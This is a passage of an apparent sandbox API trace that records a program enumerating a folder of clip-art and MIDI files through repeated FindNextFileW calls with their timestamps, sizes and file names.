nFileSizeLow=0x20ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1 [0218.614] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1 [0218.615] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1 [0218.615] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1 [0218.615] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1 [0218.615] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1 [0218.615] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1 [0218.615] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1 [0218.615] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1 [0218.615] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1 [0218.615] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1 [0218.615] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1 [0218.616] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1 [0218.616] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1 [0218.616] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1 [0218.616] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1 [0218.616] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1 [0218.616] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1 [0218.616] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1 [0218.619] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1 [0218.619] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1 [0218.619] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1 [0218.619] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1 [0218.619] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1 [0218.619] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1 [0218.619] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1 [0218.619] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1 [0218.619] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1 [0218.620] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1 [0218.620] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1 [0218.620] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUP.WMF", cAlternateFileName="")) returned 1 [0218.620] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1 [0218.620] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1 [0218.620] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1 [0218.620] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1 [0218.620] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1 [0218.620] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1 [0218.620] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1 [0218.620] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1 [0218.621] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1 [0218.621] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1 [0218.621] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1 [0218.621] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1 [0218.621] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1 [0218.621] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1 [0218.621] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1 [0218.621] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1 [0218.621] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, 